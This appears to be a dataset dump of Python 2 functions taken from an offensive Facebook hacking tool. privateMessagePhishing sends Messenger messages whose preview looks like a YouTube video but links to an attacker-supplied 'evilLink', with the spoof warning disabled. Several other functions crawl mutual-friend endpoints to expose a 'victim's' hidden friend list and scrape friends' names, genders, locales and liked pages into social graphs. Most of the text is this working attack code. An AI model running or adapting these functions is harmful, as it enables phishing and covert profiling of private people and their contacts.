'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][load_duration]' : '6',\n 'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',\n 'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1394766424499:3126670212-4125121119@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(c_user),\n 'client' : 'web_messenger',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8a9EAMBlCFYwyt2u6aOGeExEW9J6yUgByVbGAF4iGGeqheCu6po',\n '__req' : '1n',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243'\n }\n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.privateMessageLink", "header": "['module', '___EOS___']", "index": 1041 }, { "content": "def privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+str(c_user),\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][coordinates]' : '',\n 'message_batch[0][timestamp]' : '1410457740680',\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : '10:16am',\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : str(message),\n 'message_batch[0][has_attachment]' : 'true',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:'+str(victimId),\n 'message_batch[0][specific_to_list][1]' : 'fbid:'+str(c_user),\n 'message_batch[0][content_attachment][subject]' : str(subject),\n 'message_batch[0][content_attachment][app_id]' : '2309869772',\n 'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : str(evilLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][log][1408344793]' : 'https://www.mkit.com.ar/',\n 'message_batch[0][content_attachment][attachment][params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'message_batch[0][content_attachment][attachment][params][title]' : str(title),\n 'message_batch[0][content_attachment][attachment][params][summary]' : str(summary),\n 'message_batch[0][content_attachment][attachment][params][images][0]' : 'http://i1.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og&cfs=1&upscale',\n 'message_batch[0][content_attachment][attachment][params][medium]' : '103',\n 'message_batch[0][content_attachment][attachment][params][url]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][video][0][type]' : 'application/x-shockwave-flash',\n 'message_batch[0][content_attachment][attachment][params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'message_batch[0][content_attachment][attachment][params][video][0][width]' : '1280',\n 'message_batch[0][content_attachment][attachment][params][video][0][height]' : '720',\n 'message_batch[0][content_attachment][attachment][params][video][0][secure_url]' : 'https://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'message_batch[0][content_attachment][attachment][type]' : '100',\n 'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',\n 'message_batch[0][content_attachment][link_metrics][domain]' : 'www.youtube.com',\n 'message_batch[0][content_attachment][link_metrics][base_domain]' : 'youtube.com',\n 'message_batch[0][content_attachment][link_metrics][title_len]' : str(len(title)),\n 'message_batch[0][content_attachment][link_metrics][summary_len]' : str(len(summary)),\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',\n 'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '1280',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '720',\n 'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_considered]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_cap]' : '10',\n 'message_batch[0][content_attachment][link_metrics][images_type]' : 'images_array',\n 'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][load_duration]' : '2',\n 'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',\n 'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1410457740680:1367750931-713286099@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(victimId),\n 'client' : 'web_messenger',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8ahyj35CCOadgDxqjdLg',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265816977807275100848411568',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php ',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.privateMessagePhishing", "header": "['module', '___EOS___']", "index": 1135 }, { "content": "def linkFriends(victim):\n friends = []\n root = 'dumps'\n directory = victim\n delay = 1\n linkedFile = open( os.path.join(root,directory,victim+\"friend_links.html\"),\"wb\")\n \n try:\n persons = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n except:\n print '\\r \\r',\n print '\\r %s.txt not exists, error on linkFriends module \\r' %victim,\n logs(str(victim)+' not exists, error on linkFriends module')\n return\n\n while True:\n linea = persons.readline()\n if not linea:\n break\n friends.append(linea.strip(\"\\n\\r\"))\n \n persons.close()\n \n for individuals in friends:\n try:\n response = br.open('https://graph.facebook.com/'+individuals)\n resultado = response.read()\n json_dump = json.loads(resultado)\n try:\n friend = json_dump['link']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']\n print friend\n linkedFile.write(MyParser.htmlFormat(json_dump))\n except:\n try:\n print 'https://www.facebook.com/%s' %json_dump['username']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']\n except:\n print 'https://www.facebook.com/%s' %individuals\n \n except mechanize.HTTPError as e:\n print e.code\n print 'Sleeping %d' %delay\n sleep(delay)\n delay += 1\n except mechanize.URLError as e:\n print e.reason.args\n print 'Sleeping %d URLerror ' %delay\n sleep(delay)\n delay += 1\n \n linkedFile.close()", "metadata": "root.linkFriends", "header": "['module', '___EOS___']", "index": 1238 }, { "content": "def getName(userId):\n try:\n response = br.open('https://www.facebook.com/'+str(userId))\n data = response.read()\n match = re.search(\"_8_2\",data)\n if match is not None:\n start = match.end() + 33\n matchBis = re.search('\">',data[start:])\n if matchBis is not None:\n return data[start:start+matchBis.start()]\n return userId\n except mechanize.HTTPError as e:\n print str(e.code)\n return userId\n except mechanize.URLError as e:\n print str(e.reason.args)\n return userId\n except:\n return userId", "metadata": "root.getName", "header": "['module', '___EOS___']", "index": 1289 }, { "content": "def loadObjects(victim):\n try:\n path = os.path.join(\"dumps\",victim,\"objects\",victim)\n f = open(path,\"rb\")\n A = pickle.load(f)\n g = open( path +'.ref',\"rb\")\n ref = pickle.load(g)\n g.close()\n f.close()\n return A,ref\n except:\n return [],{}", "metadata": "root.loadObjects", "header": "['module', '___EOS___']", "index": 1328 }, { "content": "def reAnalyzeGraph(victim):\n try:\n f = open( os.path.join(\"dumps\",victim,\"objects\",victim+\"-community\" ) ,\"rb\")\n labelGraph = pickle.load(f)\n f.close()\n except:\n logs('Error on reAnalyzeGraph() object not exist')\n print 'Error on reAnalyzeGraph() object not exist\\n'\n return\n \n #Community algorithm\n root = 'dumps'\n directory = victim\n \n try:\n partition = community.best_partition(labelGraph)\n \n for i in set(partition.values()):\n print \"Community\", i\n members = [nodes for nodes in partition.keys() if partition[nodes] == i]\n \n egonet = labelGraph.subgraph(set(members))\n print sorted(egonet.nodes(),reverse=False)\n print sorted(egonet.edges(),reverse=False)\n \n \n nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".png\") )\n write_dot(egonet, os.path.join(root,directory,victim+\"Community\"+str(i)+\".dot\") )\t\t\n plt.show()\n \n \n raw_input('Press enter to continue...\\n')\n except:\n logs('Error on reAnalyzeGraph() debbug for more information')\n print 'Error on reAnalyzeGraph() debbug for more information\\n'\n return", "metadata": "root.reAnalyzeGraph", "header": "['module', '___EOS___']", "index": 1341 }, { "content": "def analyzeGraph(victim):\n root = 'dumps'\n directory = victim\n mkdir(directory,root)\n \n \n edges = {}\n edgesValues = {}\n nodekeys = {}\n userNames = []\n commonPages = {}\n \n A,idkeys = loadObjects(victim)\n if A != []: \n \n myGraph = nx.from_numpy_matrix(A)\n \n nodes = myGraph.nodes()\n \n #Percentage\n i = 0.0\n percentage = 0.0\n \n #flush\n print '\\r \\r', \n \n #Dictio creation of usernames\n #Associated with node number\n print 'Attemping to get user\\'s information'\n for elements in idkeys.keys():\n try:\n user = getName(elements)\n commonPages[user] = corePagesLike(victim,elements)\n userNames.append(user)\n nodekeys[idkeys[elements]] = user\n percentage = (i * 100.0)/len(idkeys.keys())\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(idkeys.keys()), percentage), \n i+=1\n except:\n continue\n \n reference = open( os.path.join(root,directory,victim+\"references.txt\") ,\"wb\") \n for users in nodekeys.keys():\n try:\n line = str(nodekeys[users])+' : '+str(users) \n reference.write(line + '\\n')\n except:\n continue\n \n reference.close()\n \n for node in nodes:\n try:\n edges[node] = myGraph.degree(node)\n if edgesValues.has_key(edges[node]):\n edgesValues[edges[node]].append(node)\n else:\n edgesValues[edges[node]] = [node]\n except:\n continue\n \n \n for values in sorted(edgesValues.keys(),reverse=True):\n try:\n print str(values) + ' aristas; nodos: ',\n for nodes in edgesValues[values]:\n print str(nodes) + ', ',\n print '\\n'\n except:\n continue\n \n print nx.is_connected(myGraph)\n \n print nx.number_connected_components(myGraph)\n \n ccs = nx.clustering(myGraph)\n print ccs\n print sum(ccs)/len(ccs) \n \n #Creation of the labeld graph for community\n labelNodes = myGraph.nodes()\n labelEdges = myGraph.edges()\n labelGraph = nx.Graph()\n \n for label in labelNodes:\n try:\n labelGraph.add_node(nodekeys[int(label)],likes=commonPages[nodekeys[int(label)]])\n except:\n continue\n \n for labelE in labelEdges:\n try:\n labelGraph.add_edge(nodekeys[int(labelE[0])],nodekeys[int(labelE[1])])\n except:\n continue\n try: \n nx.draw_spring(labelGraph,node_color = np.linspace(0,1,len(labelGraph.nodes())),edge_color = np.linspace(0,1,len(labelGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"labelGraph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"labelGraph_color.png\") )\n write_dot(labelGraph, os.path.join(root,directory,victim+\"labelGraph_color.dot\") ) \n plt.show()\n except:\n print 'Erro plotting the graph'\n \n #Saving the object for future analysis\n f = open( os.path.join(\"dumps\",victim,\"objects\",victim+\"-community\") ,\"wb\")\n pickle.dump(labelGraph,f)\n f.close()\n \n #Community algorithm\n partition = community.best_partition(labelGraph)\n \n for i in set(partition.values()):\n try:\n print \"Community\", i\n members = [nodes for nodes in partition.keys() if partition[nodes] == i]\n except:\n continue \n ''' No longer necessary (?) \n reference = open(root+\"\\\\\"+directory+\"\\\\community\"+str(i)+\"references.txt\",\"wb\")\n \n for nodes in members:\n line = str(nodekeys[int(nodes)])+' : '+str(nodes) \n reference.write(line + '\\n')\n \n reference.close() \n ''' \n try:\n egonet = labelGraph.subgraph(set(members))\n print sorted(egonet.nodes(),reverse=False)\n print sorted(egonet.edges(),reverse=False)\n \n \n nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".png\") )\n write_dot(egonet, os.path.join(root,directory,victim+\"Community\"+str(i)+\".dot\") ) \t\t\t\n plt.show()\n except:\n print 'Error plotting the graph'\n \n \n raw_input('Press enter to continue...\\n')\n else:\n logs('Error on analyzeGraph() file not exist')\n print 'Error on analyzeGraph() file not exist\\n'\n return", "metadata": "root.analyzeGraph", "header": "['module', '___EOS___']", "index": 1380 }, { "content": "def bypassFriendshipPrivacyPlot(victim, transitive):\n \n coleccion = {}\n nodeID = 0\n \n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = nx.Graph()\n \n coleccion[victim] = nodeID\n \n victima = nodeID\n myGraph.add_node(victima)\n nodeID += 1\n \n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n A,coleccion = loadObjects(victim)\n if A == []:\n logs(\"Inconsistency, the userid file exists, but has no object associated\")\n print \"Inconsistency, the userid file exists, but has no object associated\"\n return\n else:\n myGraph = nx.from_numpy_matrix(A)\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n if coleccion.has_key(individuos) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[individuos] = nodo\n else:\n nodo = coleccion[individuos]\n \n if coleccion.has_key(transitive) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[transitive] = transitivo\n else:\n transitivo = coleccion[transitive]\n \n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n if coleccion.has_key(friends) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[friends] = nodo\n else:\n nodo = coleccion[friends]\n \n if coleccion.has_key(element) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[element] = transitivo\n else:\n transitivo = coleccion[element]\n\n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n #Stores every userID for further analyzis\n for friends in friendships:\n if coleccion.has_key(friends) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[friends] = transitivo\n else:\n transitivo = coleccion[friends]\n\n myGraph.add_edge(victima,transitivo)\n friendshipFile.write(str(friends)+'\\n')\n \n \n friendshipFile.close()\n \n mkdir('objects', os.path.join(root,directory))\n A = nx.adj_matrix(myGraph)\n saveObjects(victim, A, coleccion)\n \n nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.png\") )\n write_dot(myGraph,os.path.join(root,directory,victim+\"graph_color.dot\")) \n plt.show()", "metadata": "root.bypassFriendshipPrivacyPlot", "header": "['module', '___EOS___']", "index": 1531 }, { "content": "def bypassFriendshipPrivacy(victim, transitive):\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n \n friendshipFile.close()\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please..\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n\n #Stores every userID for further analyzis\n for friends in friendships:\n friendshipFile.write(str(friends)+'\\n')\n \n friendshipFile.close()", "metadata": "root.bypassFriendshipPrivacy", "header": "['module', '___EOS___']", "index": 1695 }, { "content": "def corePagesLike(victim,transitive):\n matchs = []\n begin = 0\n page = []\n \n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?and='+str(transitive)+'&sk=favorites')\n resultado = response.read()\n match = re.search('timelineFriendsColumnHeader',resultado)\n if match is not None:\n linea = re.search('timelineFriendsColumnHeader(.+)',resultado).group()\n\n except mechanize.HTTPError as e:\n print e.code\n #Should handle a custom error\n raise\n except mechanize.URLError as e:\n print e.reason.args\n #Should handle a custom error\n raise\n #Error connection the upper function will catch the exception\n except:\n raise\n \n while True:\n match = re.search('fbStreamTimelineFavInfoContainer',resultado[begin:])\n if match != None:\n matchEnd = re.search('\\n',resultado[begin+match.start():])\n if matchEnd != None:\n matchs.append(resultado[begin+match.start():matchEnd.end()+begin+match.start()])\n begin = matchEnd.end()+begin+match.start()\n match = None\n matchEnd = None\n else:\n break\n \n \n for linea in matchs:\n start = 0\n try:\n #Search the string to get the position of the starting match\n matchAnd = re.search('page\\.php\\?id=',linea[start:])\n #Search the end of the match for taking the id length\n matchEnd = re.search('\">',linea[start+matchAnd.end():])\n #If we have a start and an end, we have the id value\n except:\n print 'ERROR'\n \n \n if (matchAnd and matchEnd) is not None:\n #Appends the value given the proper position (resolved a few lines up)\n page.append(linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end() ])\n #Moves the pointer for next match\n start += matchEnd.start()+matchAnd.end() \n return page", "metadata": "root.corePagesLike", "header": "['module', '___EOS___']", "index": 1783 }, { "content": "def checkPrivacy(victim):\n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?sk=friends')\n resultado = response.read()\n match = re.search('All Friends',resultado)\n matchBis = re.search('Todos los amigos',resultado)\n matchBisBis = re.search('Todos mis amigos',resultado)\n if ((match is not None) or (matchBis is not None) or (matchBisBis is not None)):\n matchFriends = re.search('_1qp6(.+)\"',resultado).group()\n return matchFriends \n else:\n return -1\n except:\n print 'Error in the process, brute force will be applied ..'\n return -1", "metadata": "root.checkPrivacy", "header": "['module', '___EOS___']", "index": 1839 }, { "content": "def simpleGraph(friends, victim):\n coleccion = {}\n nodeID = 0\n\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = nx.Graph()\n myGraphLabeled = nx.Graph()\n \n coleccion[victim] = nodeID\n \n victima = nodeID\n myGraph.add_node(victima)\n\n nodeID += 1\n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"wb\")\n try:\n usersAndID = pickle.load(open(os.path.join('dumps',victim,victim+\"UserNamesIDindexed.txt\"),\"rb\"))\n except:\n print 'Something went wrong while loading the userId and usernames dictionary file! '\n\n try:\n myGraphLabeled.add_node(usersAndID[victim])\n except:\n myGraphLabeled.add_node(victim)\n \n total = len(friends)\n i = 0.0\n print 'Getting victim\\'s friends relashionship .. please wait, this is going to take a while...'\n print 'Get a coffee or something'\n for friend in friends:\n #Percentage calculus \n percentage = (i * 100.0)/total\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,total, percentage), \n i+=1\n friendshipFile.write(str(friend)+'\\n')\n \n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n coleccion[friend] = nodeID\n nodeID += 1\n \n if myGraph.has_node(friend) != True:\n myGraph.add_node(friend)\n try:\n myGraphLabeled.add_node(usersAndID[friend])\n except:\n myGraphLabeled.add_node(friend)\n \n if myGraph.has_edge(victima, friend) != True:\n myGraph.add_edge(victima, friend)\n try:\n myGraphLabeled.add_edge(usersAndID[victim],usersAndID[friend])\n except:\n myGraphLabeled.add_edge(victim,friend)\n \n for element in mutual:\n if myGraph.has_node(element) != True:\n myGraph.add_node(element)\n myGraph.add_edge(element, friend)\n try:\n myGraphLabeled.add_node(usersAndID[element])\n myGraphLabeled.add_edge(usersAndID[element],usersAndID[friend])\n except:\n myGraphLabeled.add_node(element)\n myGraphLabeled.add_edge(element,friend)\n \n friendshipFile.close()\n \n mkdir('objects', os.path.join(root,directory))\n \n A = nx.adj_matrix(myGraph)\n saveObjects(victim, A, coleccion)\n \n nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.png\") )\n write_dot(myGraph,os.path.join(root,directory,victim+\"graph_color.dot\")) \n plt.show()\n\n nx.draw_spring(myGraphLabeled,node_color = np.linspace(0,1,len(myGraphLabeled.nodes())),edge_color = np.linspace(0,1,len(myGraphLabeled.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graphLabeled_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graphLabeled_color.png\") )\n write_dot(myGraphLabeled,os.path.join(root,directory,victim+\"graphLabeled_color.dot\")) \n plt.show()", "metadata": "root.simpleGraph", "header": "['module', '___EOS___']", "index": 1855 }, { "content": "def friendshipPlot(text,victim):\n friends = []\n friendsID = []\n getFriends(victim)\n\n try:\n friendsFile = open(os.path.join('dumps',victim,victim+\"UserNames.txt\"),\"r\")\n except:\n print 'Something went wrong with the output file.. try again or debug :D '\n return\n while True:\n linea = friendsFile.readline()\n if not linea:\n break\n friends.append(linea.strip('\\r\\n'))\n print 'Wait while we get the user id\\'s of your victim\\'s friends '\n getUserIDS(victim)\n\n try:\n friendsIdFile = open(os.path.join('dumps',victim,victim+\"UserIDS.txt\"),\"r\")\n except:\n print 'Something went wrong with the output file.. try again or debug :D '\n return\n \n while True:\n linea = friendsIdFile.readline()\n if not linea:\n break\n friendsID.append(linea.strip('\\r\\n'))\n return friendsID, friends", "metadata": "root.friendshipPlot", "header": "['module', '___EOS___']", "index": 1968 }, { "content": "def coreFriendshipPrivacy(victim,transitive):\n friends = []\n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?and='+str(transitive)+'&sk=friends')\n resultado = response.read()\n match = re.search('timelineFriendsColumnHeader',resultado)\n if match is not None:\n linea = re.search('timelineFriendsColumnHeader(.+)',resultado).group()\n\n\n except mechanize.HTTPError as e:\n print e.code\n #Should handle a custom error\n raise\n except mechanize.URLError as e:\n print e.reason.args\n #Should handle a custom error\n raise\n #Error connection the upper function will catch the exception\n except:\n raise\n\n #Offset for the string search \n start = 0\n #While line matches the searched values\n while True:\n try:\n #Search the string to get the position of the starting match\n matchAnd = re.search('user\\.php\\?id=',linea[start:])\n #Search the end of the match for taking the id length\n matchEnd = re.search('&amp',linea[start+matchAnd.end():])\n #If we have a start and an end, we have the id value \n if (matchAnd and matchEnd) is not None:\n #Appends the value given the proper position (resolved a few lines up)\n toUserID = linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end()]\n if toUserID not in friends:\n friends.append(toUserID)\n #Moves the pointer for next match\n start += matchEnd.start()+matchAnd.end()\n #If the match ends (Equals of end of the line for the search)\n except:\n #Search for more friends (Ajax controled)\n match = re.search('/ajax/browser/list/mutualfriends/',resultado)\n if match is not None:\n #Call for the extendend friend search module\n extend = seeMore(len(friends),victim,transitive)\n #Return the merge of the lists\n return list(set(extend + friends))\n else:\n #In case there are no more friends, returns the original list\n return friends", "metadata": "root.coreFriendshipPrivacy", "header": "['module', '___EOS___']", "index": 1999 }, { "content": "def seeMore(start,victim,transitive):\n #vitimId and transitiveId needs to be IDS, instead of usernames. Is like a cast from the username to the Id\n #doesn't matter if the given argument is already the id.\n victimId = getUserID(victim)\n transitiveId = getUserID(transitive)\n #Disclosed friends container\n extendedFriends = []\n \n if (victimId == -1) or (transitiveId == -1):\n return extendedFriends\n \n \n #While there friends to disclosed in the particular union set\n while True:\n \n try:\n response = br.open('https://www.facebook.com/ajax/browser/list/mutualfriends/?uid='+str(transitiveId)+'&view=grid&location=other&infinitescroll=0&short=1&node='+str(victimId)+'&start='+str(start)+'&__user='+str(getC_user())+'&__a=1&__dyn=7n8ahyj35zolgDxqihXzA&__req=6')\n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args\n except:\n raise\n \n #Strips the web response for further processes\n to_parse = str(response.read()).strip('for (;;);')\n \n try:\n #Converts the json web response to a python like object\n json_dump = json.loads(to_parse)\n except:\n print 'Error on json loading'\n #For non-blocking excecution - The upper function is excpecting a list to be returned\n return extendedFriends\n \n #Offset represents the start offset for non-repetition purpose\n offset = 0\n \n #Controls the end of the module excecution\n NoneFlag = True\n \n #Search for friends to be added\n for element in range(len(json_dump['jsmods']['require'])):\n if json_dump['jsmods']['require'][element][0] == unicode('AddFriendButton'):\n NoneFlag = False\n offset += 1\n extendedFriends.append(json_dump['jsmods']['require'][element][3][1])\n \n #If no friend was added, the excecution ends\n if NoneFlag:\n break\n \n #Increments offset from the start in the search\n start += offset \n \n #End of the while, returns the new list \n return 